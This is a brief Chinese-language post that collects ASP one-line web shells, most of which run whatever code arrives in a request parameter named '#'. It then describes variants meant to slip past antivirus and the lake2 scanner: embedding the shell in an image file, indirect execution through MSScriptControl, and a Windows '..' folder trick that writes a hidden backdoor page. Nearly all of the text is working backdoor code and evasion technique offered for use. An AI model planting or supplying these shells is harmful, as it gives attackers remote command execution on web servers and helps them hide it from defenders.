<%execute request("#")%>
<%execute request(chr(35))%>
<script language=VBScript runat=server>if request(chr(35))<>"""" then ExecuteGlobal request(chr(35)) </script>
<%ExecuteGlobal request(chr(35))%>
<%eval request("#")%>
以上都是正常的SHELL,下面几个是变形,或者是用来免杀的

用include包含一个图片,图片最好是通过copy /b 1.jpg+1.asp+1.jpg 2.jpg生成出来的 要绕过lake2的话,用几个变量加常量的方法定义图片名再包含就可以了
<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.AddObject "session", session ms.AddObject "server", server ms.AddObject "application", application ms.ExecuteStatement ("ex"&"ecute(request(chr(35)))")%>

另外还一个另类的,利用windows的目录漏洞,建立..\目录里面放一句话, Set fso=Server.CreateObject("Scripting.FileSystemObject") path=server.mappath("/") Set f = fso.CreateFolder(path&"\index..\") Set a = fso.CreateTextFile(path&"\index..\1.asp", True) a.WriteLine"<script language=VBScript runat=server>if request(""&pass&"")<>"""" then" a.WriteLine"response.clear" a.WriteLine"Execute request(chr(35))" a.WriteLine"response.end" a.WriteLine"end if" a.WriteLine"</script>"
一句话的木马并不只是有这些.脚本语言中大多数和系统交互的函数都能够用来作为后门.安全性和可用性是不可逆的.
